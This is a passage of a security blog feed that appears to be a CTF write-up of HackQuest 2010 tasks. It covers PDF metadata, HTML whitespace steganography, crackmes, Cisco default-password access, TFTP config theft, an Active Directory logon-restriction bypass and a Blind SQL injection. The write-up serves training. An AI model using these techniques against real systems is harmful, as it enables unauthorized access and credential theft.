3. A new document was created via Livecycle Designer with the only page containing an inviting phrase "The flag is there".&lt;br /&gt;
4. After that, the file was saved into the created directory.&lt;br /&gt;
&lt;br /&gt;
To check the task, it remained only to examine the metadata in the document. At first, the basic features of Adobe Reader were applied. It was experimentally shown that the hidden flag is not conspicuous. If it is, the task would be too easy for the contestants, while we intended to develop a task to try their gumption. &lt;br /&gt;
&lt;br /&gt;
After that, it was decided to solve the obtained task to make sure that it is not impracticable and we’re not playing a mean upon the contestants. The easiest way is to parse the document with any free library (e.g. iText &lt;a href="http://sourceforge.net/projects/itext/files/"&gt;http://sourceforge.net/projects/itext/files/&lt;/a&gt; for Java).&lt;br /&gt;
&lt;br /&gt;
The following function was written:&lt;br /&gt;
&lt;br /&gt;
public static boolean getAllDataFromPdfToFile(String src,&lt;br /&gt;
String dest) {&lt;br /&gt;
try {&lt;br /&gt;
PdfReader reader = new PdfReader(src);&lt;br /&gt;
XfaForm xfa = new XfaForm(reader);&lt;br /&gt;
Document doc = xfa.getDomDocument();&lt;br /&gt;
Transformer tf = TransformerFactory.newInstance().newTransformer();&lt;br /&gt;
tf.setOutputProperty(OutputKeys.ENCODING, "UTF-8");&lt;br /&gt;
tf.setOutputProperty(OutputKeys.INDENT, "yes");&lt;br /&gt;
FileOutputStream os = new FileOutputStream(dest);&lt;br /&gt;
tf.transform(new DOMSource(doc), new StreamResult(os));&lt;br /&gt;
reader.close();&lt;br /&gt;
return true;&lt;br /&gt;
} catch (Exception e) {&lt;br /&gt;
e.printStackTrace();&lt;br /&gt;
return false;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
This function worked perfectly; the flag path could be found not even in one, but in three tags. One can see there is nothing extremely complicated here :) It was much more difficult to find this "charged" PDF file...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #10: Steganography&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the fact of transferring the message. In contrast to cryptography which hides the contents of confidential messages, steganography hides the existence of such messages. In the digital world, containers of hidden information are usually presented with multimedia objects (images, video, audio, 3D object texture, etc.) with introduced distortions that are below the sensitivity threshold of an average person and do not considerably modify these objects. However, as one can suspect, these are not only multimedia files that can serve as containers. In the considered case, HTML code serves as one. The deal is that web browser ignores sequential space characters when rendering a page(if they are not specified as HTML mnemonics). Thus, two or more space characters are interpreted as one. The same is valid for tabs and line feed characters. It was a brief theory excursus.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-_ZbiAYHxPbo/TZZVp9kIclI/AAAAAAAABMI/Gy2BGWjLC8U/s1600/hq2010_14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="http://2.bp.blogspot.com/-_ZbiAYHxPbo/TZZVp9kIclI/AAAAAAAABMI/Gy2BGWjLC8U/s400/hq2010_14.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The task presents an HTML page with the Conscience of a Hacker (a sin and a shame on you, %username%, if you haven’t read this Mentor epistle!) that can be found in the game network. We surmised the difficulty of discovering the task specificity and thoughtfully added a hint to the HTML code that pointed that space characters can serve not only as word separators in sentences. An attentive contestant can notice that words in the text are separated differently.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-3OPjNy_FU80/TZZVzMgunQI/AAAAAAAABMM/VWoxyp-RRMA/s1600/hq2010_15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="http://2.bp.blogspot.com/-3OPjNy_FU80/TZZVzMgunQI/AAAAAAAABMM/VWoxyp-RRMA/s400/hq2010_15.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
To be more concrete, one space character is nothing else but "0" and double space character is "1". In other words, it is one data bit. 8 bits form one byte which can be interpreted as an ASCII character code. Message terminator is presented with the sequence of a space character and a tab. The task was complicated with realization that it is not another attempt to promote hacking, but this ordinary static HTML page itself presents the task and a hidden key should be found in it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #11: LUA CrackMe &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When preparing this task, the goal was to develop a simple crackme that a person who is not very skilled in reverse engineering would be able to solve. It should be noticed that this goal wasn’t achieved in full. According to contestants’ response, many of them even didn’t manage to run the program; at least, the RDOT.ORG team which coped with the task didn’t run it ;) Well, let’s tell it like it is.&lt;br /&gt;
&lt;br /&gt;
Lua code that receives a key as the only argument from the console was taken as the basis. If the key is not valid, then an error message is displayed; otherwise, the 1337 string is displayed.&lt;br /&gt;
&lt;br /&gt;
The key validation code was written poorly. At first, a pair of substring coincidences like "CC10_" prefix is checked, then – a pair of bytes from the flag is checked. After that, the checksum of the entire key is calculated and compared with the constant.&lt;br /&gt;
&lt;br /&gt;
Of course, the solution is multiple-valued. But on the whole, if the key flag characters are restricted to ASCII there seems to be not so many variants. The system accepted only one answer, so we had to brute-force the script of flag accepting ;) Now, let’s talk about a catch... The catch was that the crackme was assembled under the latest interpreter version 5.2 which was not included into the updates, but was available only on the web site. Naturally, such byte code will not operate under the most popular Lua version 5.1. It was supposed that the contestants would show their gumption and find an interpreter version that allows one to run the byte code properly (taking into account that there have been 13 versions released: &lt;a href="http://www.lua.org/versions.html"&gt;www.lua.org/versions.html&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Actually, many things were made for the version 5.1. For example, there is a public decompiler which crashes when trying to process the mentioned code under a higher version. One can understand much about the algorithm just by reading the file via a hex editor. Well, that’s all about this task :)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #12: CrackMe&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The crackme was initially developed so that it would only take several hours at most to solve it for a person who is no stranger to reverse engineering and who has carefully studied the task. The first obstacle was presented with a rather simple packer BeRoEXEPacker (first version). &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-G9qpbjPP7bE/TZZV8zXzZQI/AAAAAAAABMQ/_z9kyv1NzH0/s1600/hq2010_16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="25" src="http://3.bp.blogspot.com/-G9qpbjPP7bE/TZZV8zXzZQI/AAAAAAAABMQ/_z9kyv1NzH0/s400/hq2010_16.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
It seems to be unnecessary to consider unpacking in details, because there is enough material on this topic; furthermore, there are a lot of public unpackers available for lazy attackers. Therefore, let’s proceed to passing the first stage. It should not have caused any difficulties even for those who have little to do with reversing, because it was only necessary to find an unencrypted string constant. However, to make the task not as easy, we introduced several anti-debugging methods :) By the way, we didn’t expect that the trick with FindWindow would prove to be so mind-blowing for untrained people. It is hard to count up how many contestants decided that this task didn’t work at all.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-w1lc_2Hbjdw/TZZWGdOxG6I/AAAAAAAABMU/UpZDdeRe0pc/s1600/hq2010_17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/-w1lc_2Hbjdw/TZZWGdOxG6I/AAAAAAAABMU/UpZDdeRe0pc/s400/hq2010_17.png" width="305" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Nevertheless, a cursory examination of the unpacked file damp allows one to notice the following code fragment:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-OonvlxyYNyM/TZZWPTkYTRI/AAAAAAAABMY/FeTqmgkSOu8/s1600/hq2010_18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="58" src="http://2.bp.blogspot.com/-OonvlxyYNyM/TZZWPTkYTRI/AAAAAAAABMY/FeTqmgkSOu8/s400/hq2010_18.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you take a look at the origin of this checking function, then everything clicks into place, because the value to check comes from CWnd::GetWindowTextW(). Hurrah, the first stage is complete, let’s go further.&lt;br /&gt;
&lt;br /&gt;
If an inquisitive investigator will analyze what code fragments surround the first constant, then he/she will notice an interesting string Q0MxMFNfNzhiNmVmZDI4OWQ4YzZmYTY3MTk3N2Q3ZmYwZmVhYTA=. Most contestants who reached this stage had a feeling that it is Base64; and these people were absolutely right!&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zvNnwvpM2ns/TZZWZbDZkvI/AAAAAAAABMc/IHObU3BHSBg/s1600/hq2010_19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="50" src="http://2.bp.blogspot.com/-zvNnwvpM2ns/TZZWZbDZkvI/AAAAAAAABMc/IHObU3BHSBg/s400/hq2010_19.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Decoding gives us a string CC10S_78b6efd289d8c6fa671977d7ff0feaa0, which opens the gate to the third stage.&lt;br /&gt;
&lt;br /&gt;
Here, it is more difficult, but still possible. The main window disappears and a UDP socket is generated on the port 696. It is easy to find a CAsyncSocket::Create() call in the code; after that, one can see that when data is received it is interpreted.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-RwwjVE8R3OA/TZZWixbG5II/AAAAAAAABMg/K9deXKEAYMg/s1600/hq2010_20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://2.bp.blogspot.com/-RwwjVE8R3OA/TZZWixbG5II/AAAAAAAABMg/K9deXKEAYMg/s400/hq2010_20.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
From the decompiled code logic, it can be seen that only two commands are meaningful. These commands are keys and more; after that, let’s remember of write down the value 7812D9E (we can conjecture that it was placed here not by accident) and execute the command more. Then, the contestants should take an interest in the CWinThread::CreateThread() call that injects code taken from the resource section.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-vGd_PC-a8Ek/TZZWsIYP3YI/AAAAAAAABMk/C0Ls6OTYags/s1600/hq2010_21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-vGd_PC-a8Ek/TZZWsIYP3YI/AAAAAAAABMk/C0Ls6OTYags/s320/hq2010_21.png" width="198" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Let’s save files from the resources and try to run them. After the first file is run, an interesting widow is displayed that makes it clear why it was necessary to remember the constant from the keys output.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-09DALSp9U-k/TZZW1ZIu-zI/AAAAAAAABMo/vEJKhlcEcO4/s1600/hq2010_22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-09DALSp9U-k/TZZW1ZIu-zI/AAAAAAAABMo/vEJKhlcEcO4/s1600/hq2010_22.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Let’s run the second file; a window with the following contents is displayed:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-0mAU-V_IyVc/TZZW-IM30fI/AAAAAAAABMs/9D_MXC6CO7g/s1600/hq2010_23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="199" src="http://2.bp.blogspot.com/-0mAU-V_IyVc/TZZW-IM30fI/AAAAAAAABMs/9D_MXC6CO7g/s400/hq2010_23.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We already have two keys, now we need to obtain the encrypted string itself. After a cursory analysis, it becomes clear that the application is implemented with Visual Basic 6. Let’s find a decompiler for this programming language and analyze the files. A short search gives us the last cherished key.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #13: Cisco&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Besides the honeypots emulating network devices and various operating systems, there was a real router based on Cisco IOS in the game network. Scanning of TCP ports shows that a FINGER service is available. One can receive the name of a user registered on the device by calling this service. After that, it is sufficient to try this username with the password "cisco" (the default password for Cisco devices) on the TELNET port. The next step is to gain additional privileges on the device. Of course, the 15th access level is not required :) But the third one is achievable with the password "cisco". At this stage, the user already has enough privileges to view the current information. It is possible to obtain the device configuration along with a game flag by applying the following command:&lt;br /&gt;
&lt;br /&gt;
Router#show running-config view full&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-lIXpFtUaz3U/TZZXIm7yOfI/AAAAAAAABMw/_CK8vLxeU7Q/s1600/hq2010_24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="108" src="http://4.bp.blogspot.com/-lIXpFtUaz3U/TZZXIm7yOfI/AAAAAAAABMw/_CK8vLxeU7Q/s400/hq2010_24.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Task #14: TFTP&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The task relating to TFTP was one of the simplest tasks that could be found in the game network. However, it proved to be rather difficult for most contestants to cope with it without any hints. To solve this task, it is necessary to find an available TFTP service (69/UDP) and then match the name of the file stored on this service resource. It was this matching that caused most difficulties for the contestants. The file name to match was "router-config"; it is the default name of the file that is created when copying configuration from the console of hardware based on Cisco IOS. It is notable that the vocabularies of vulnerability detection systems and even specialized tools such as tftptheft do not contain the necessary name "router-config".&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Q1ixN1LSyps/TZZXQ9h-y6I/AAAAAAAABM0/OK5XYvsbKDQ/s1600/hq2010_25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="93" src="http://4.bp.blogspot.com/-Q1ixN1LSyps/TZZXQ9h-y6I/AAAAAAAABM0/OK5XYvsbKDQ/s400/hq2010_25.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If the file is still obtained, then there are no problems with finding a game key in it. The key is stored in the password format "secret 7" and can be recovered with various tools (e.g. Cain&amp;amp;Abel).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #15: Active Directory&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The task relating to Active Directory caused totally unexpected difficulties for the contestants. May be it’s because the contestants are better oriented to solving problems relating to web security and reversing, but not to the enterprise systems.&lt;br /&gt;
&lt;br /&gt;
To solve this task, it is necessary to match the password for the OS Windows user identifier at first; for a domain controller with default configuration, it is equal to gaining access to the LDAP directory. It isn’t difficult to match a pair login/password (test/test) via SMB; most contestants coped with this stage. It is the next step that caused the difficulties.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-DK8uX67Moc0/TZZXa1WWs-I/AAAAAAAABM4/-OhpgZy69qA/s1600/hq2010_26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-DK8uX67Moc0/TZZXa1WWs-I/AAAAAAAABM4/-OhpgZy69qA/s400/hq2010_26.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
After reading access to Active Directory is gained, it is necessary to analyze discretionary access control lists (DACLs). As one of the contestants, Jokester, said during brainstorming, it allowed them to reveal that "our friend Lena (EAntonova) has a friend Stepan (SFrolov) who has the same privileges as test, but is also specified in the Lena’s Security tab with the only right “reset password”". Meanwhile, Lena (EAntonova) has access to the domain controller via RDP. Analysis of the gathered information makes it obvious that it’s necessary to gain access to the Stepan (SFrolov) account, which has some primitive password, e.g. "12345678". Well, what was the problem?&lt;br /&gt;
&lt;br /&gt;
The deal is that it is possible to log on using the SFrolov account only from the computer SFrolov-nb. Many contestants who know much about Active Directory (and Microsoft networks) could see this restriction of access from a definite computer and conclude that a domain computer with this name is meant here. However, it’s wrong. When such restriction is applied to an account in Active Directory, it is the computer NETBIOS name that is verified during authentication to domain resources. Thus, one can assign the name SFrolov-nb to his/her computer and gain privileges of the user SFrolov without any obstruction. After that, it is possible to change the password of EAntonova and access the domain controller via RDP using the new password. A game flag can be found in a text file on the desktop.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-RAVMWiuKcHM/TZZXmdKylAI/AAAAAAAABM8/yozYLIiFvHI/s1600/hq2010_27.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="196" src="http://2.bp.blogspot.com/-RAVMWiuKcHM/TZZXmdKylAI/AAAAAAAABM8/yozYLIiFvHI/s400/hq2010_27.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Task #16: Applying the On-Site Effect&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This task was the apogee of imagination for summer 2010 ;) The idea occurred to us on the eve of August 16 and implementation dragged on till the beginning of Chaos Construction and was finished after the HackQuest 2010 competition had started. Well, let’s begin with the letter written the morning before:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;From: d0znpp [mailto:d0znpp@onsec.ru]&lt;br /&gt;
Sent: Monday, August 16, 2010 5:53 PM&lt;br /&gt;
To: ...&lt;br /&gt;
Subject: Re: social engineering&lt;br /&gt;
&lt;br /&gt;
It’s very good that the contestants are sent to the street and farther for several times during the quest; they shouldn’t seat in front of their computers all the time.&lt;br /&gt;
A hacker should be able to rummage in rubbish and find useful documents in a batch of documents of the target organization.&lt;br /&gt;
So there will be a rubbish heap with a batch of documents in the place with the given coordinates ;))) All in keeping with the best traditions.&lt;br /&gt;
&lt;br /&gt;
On Mon, 16 Aug 2010 17:46:40 +0400, "Dmitry Evteev"&lt;/blockquote&gt;&lt;br /&gt;
To implement the task, a site of ZAO BezopasnySoft (SecureSoft) was created (by the way, there is no company with such name ;) The site presents a static HTML page. News, vacancies, and even partners were added to the site to make it more realistic. Actually, one of the two available news messages contains a picture illustrating how the company utilizes its documents; to be more precise, it’s a picture of a rubbish heap near the building where the fest takes place. The photo was taken with standard equipment – a cell phone based on Android with enabled GPS receiver and function of stating coordinates in EXIF data. Subsequently, it turned out that Petersburgers know every refuse bin in their home city by sight, so the contestants found it even without any GPS coordinates. It should be mentioned, that the chosen rubbish bin is really located near the building where the demo party took place. To plead for myself, I can add that it was cold outside though it was summer and there were no other decent rubbish bins within a radius of 1 kilometer of the building. I say "decent", because there was a requirement of relative cleanness of the rubbish bin; we didn’t want the contestants to rummage in real slops.&lt;br /&gt;
&lt;br /&gt;
A waste-paper bin would be the optimal solution, but we didn’t manage to find any near the building. Anyway, we had a relatively clean rubbish bin full of paper to the brim after a while. The major part of papers was presented with printouts of anything; additionally, several Hacker magazines distributed for free during the fest were rent...&lt;br /&gt;
&lt;br /&gt;
Among these pieces, there were several useful printouts. They contained the source code of some PHP application with an SQL Injection vulnerability. In the commentary to the code, an IP address of the application to attack was specified (but even this information didn’t help anyone to cope with the considered task).&lt;br /&gt;
&lt;br /&gt;
Now, let’s talk about the vulnerability. For HackQuest 2010, it was decided not to apply hackneyed methods even if the task contains classical attack elements (in such cases, some ruse was included into the task). In the considered task, a vulnerability of the function sqlite_escape_string is used; this function doesn’t filter double quotes. It is a Blind SQL Injection vulnerability, so one can apply classical methods and receive any data from the database tables. One of the tables with "secret" one-time passwords contains a flag.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;Competition Contestant Opinions&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
HackQuest 2010 was an interesting competition that offered various problems in different fields to the contestants. To pass the quest, a team from the rdot.org forum was called. This team consisted of people who specialize in different fields. It allowed us to pass the quest completely and finish earlier than all other contestants. The difficulty levels of the tasks were different, but there were no easy problems. To gain any key, it was necessary to show good knowledge in some information security field. If a task was standard, the organizers added some zest to it. DoSs were unavoidable because of multiple attacks against the game servers, but thanks to the organizers, the servers returned to the battlefield fast :) We enjoyed participating in this competition and we hope that it will be conducted the next year even with a grater bang.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://rdot.org/forum/showpost.php?p=12395&amp;amp;postcount=36"&gt;https://rdot.org/forum/showpost.php?p=12395&amp;amp;postcount=36&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;b&gt;Instead of conclusions&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Thanks to all the HQ2010 participants! Thanks to the HQ2010 developers who made the competition so replete and interesting. Special thanks to Timur Yunusov, Sergey Pavlov, and Valery Marchuk. We also want to thank all organizers and sponsors (ESET and SecurityLab) that made it possible to conduct such event. &lt;br /&gt;
&lt;br /&gt;
See you soon on the future hackquests!&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-2887567392732808183?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/04/complete-guide-to-hackquest-2010.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-cV__D26Bm9Y/TZZSeFxE3yI/AAAAAAAABLU/WsPoe5zWsbk/s72-c/hq2010_1.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1259811108894838263</guid><pubDate>Thu, 13 Jan 2011 11:55:00 +0000</pubDate><atom:updated>2011-01-13T03:55:04.444-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">research</category><category domain="http://www.blogger.com/atom/ns#">0-day</category><category domain="http://www.blogger.com/atom/ns#">vulns</category><category domain="http://www.blogger.com/atom/ns#">Microsoft</category><category domain="http://www.blogger.com/atom/ns#">hack</category><title>PHP features in Windows operating system</title><description>&lt;a href="http://3.bp.blogspot.com/_eY5lQb30XpY/TS5D5jrdnGI/AAAAAAAABIU/WzvfT3UaWW8/s1600/041-installing-php.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="80" src="http://3.bp.blogspot.com/_eY5lQb30XpY/TS5D5jrdnGI/AAAAAAAABIU/WzvfT3UaWW8/s200/041-installing-php.jpg" width="80" /&gt;&lt;/a&g
